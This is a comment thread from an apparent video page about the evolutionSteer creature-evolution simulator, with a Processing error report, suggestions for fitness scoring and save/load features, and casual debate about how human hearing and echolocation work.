Whenever I try loading evolutionSteer, it gives me the error message "Cannot find a class or type named "Creature"". What should I do?

[@Azuralis]

I have no idea how this program works, I just buggered around until I got it working. So sadly I can't really help you here

[@o.sunsfamily]

Scorpi Wall Does it give a line? Probably a Typo or something like that. Open the code, look how the class is really named and edit it.

[@escorpiwall]

All I did was open up the processing code and try to run it. I didn't edit anything

[@ze_rubenator]

You can absolutely hear if a sound is behind you or ahead of you, the shape of the ear distorts the sound differently depending on which direction the sound is coming from, and as babies we learn to decipher that EQ change. A neat little trick of evolution.

[@tuppy6139]

I watch all of the ads all the way through because I love this channel

[@ataready8810]

Maybe you can try where there is a time limit of say 9 seconds, and each node adds 3 secs until the ultimate limit is 30 seconds and the extra points gained are multiplied by the average of time between nodes getting 'chomped'. Then the creatures are measured by how much time they get plus extra points.that.have been multiplied by the average. This would help speed and maybe not hinder consistency.

[@Candy-uo8sv]

in fact humans can determine if the sound is coming from above or even behind. Our brain is using the shape of our ears to bounce the sound into our years and separate different frequencies to determine that information. i recommend watching smarter everyday's video on that. And btw our ears can not determine distance only direction, but this simulation only detects distance :)

[@illbeyourfriend3555]

If ears can't measure distance, explain echolocation.

[@panwp123]

The echolocation creatures know when they screamed and then know how long it takes for echo ro come. That way they know distance

[@burzwild2292]

Echolocation works because bats speak the language of the cavewalls and they shout "Yo where do I turn" and the walls respond very efficiently. It's a symbiotic relationship as that way the walls can survive without being eroded by bat-crashing

[@Oofmastre]

You should create a way to save your game.

[@Fluoman_]

At first I was like "An hour? no way i'll watch that without skipping." Not skipping was definitely worth it. I loved every second of it.

[@DrayCrouse]

"Despite random change, bad things might happen." -carykh before the line glitch

[@thetrollmaster3]

You should try multiplying the number of nodes off the ground by the chomps to stop their easy fix of one off the ground :)

[@galiantus1354]

It should be a sum of the average height of their nodes at the moment they get a chomp: S = h1+h2+h3+... That would select for more acrobatic and/or coordinated creatures.

[@mindblitz6496]

Hey, I know that coding is hard. And I get that this would take a really long time, but could you consider doing something of the following: Make a simulator where there is a terrain based map that a number of creatures start off in. Each strive to eat each other for food, and over generations they can evolve sharper teeth, longer legs, stronger legs, improved eyesight, new limbs etc... and they have to overcome different terrain. So basicly the creatures look like actual creatures and behave how carnivores would on our earth. Please think about doing something like this, (if so, releasing it to the public also) cause it would be so epic. Thanks for reading.

[@adelaalomerovic1620]

Thtat would be similar to evolv.io( not an actual URL). He discontinued it , though. ...wait

[@aminjeanbredimus7157]

Sup, just subscribed. I believe your problem with the projectiles and such is possibly due to a low variation of what muscles are scripted to do: basically, the only motion they can do is contract and extend. If you could add twisting and changing the angle between muscles it might add more diversity and the network might find easier and more elegant ways of locomotion. Guess I'll get to modding this once I'm done with my exams, though I'll have to get into processing first.

[@nathancrazy]

3 years ago. What have you done now?

[@KaptenN]

This was super interesting to watch. I was smiling like crazy when the cute little critter walked along hunting 28 chumps. :D

[@azadanzans5359]

1 hour of this evolution, its my dream

[@tearlach47]

Evolution Simulator with fitness being recorded by how well the creature can spin a virtual fidget spinner... here comes the cringe, do-do-do-doo.

[@GameonHead]

physical cringe

[@xts-0]

*vshhhhhhhh*

[@komolunanole8697]

Please, for the sake of your own sanity. Make a function to save/load the current state, so you don't loose everything when you find a bug or something.

[@Assault_Butter_Knife]

What about setting the possible angle to 360 degrees from the very beginning of the simulation, so that the creatures learn to move in every direction from the beginning instead of learning to curve later on when there's only one dominant type that is specifically made to walk straight left?

[@galiantus1354]

I totally agree. Just being able to "flop" in the correct direction would be more impressive than what we saw here.

[@grantsherman2001]

Yes

[@ephraimtimmerman4476]

I like how he added the penalty to having all nodes in the ground, kinda like risks might cause death but could give gains

[@Pedro-tm6ue]

In the case of human hearing, it is a little better than what you described because a single ear has up-down sense. Which means that even with 1 ear you get a rough estimate of whether the source of the sound is up or down. This is what that "crazy" shape of the ear is for.

[@yumatei]

41:04 whenever i find a new meme

[@hallodripimmelmann574]

Lmao 😂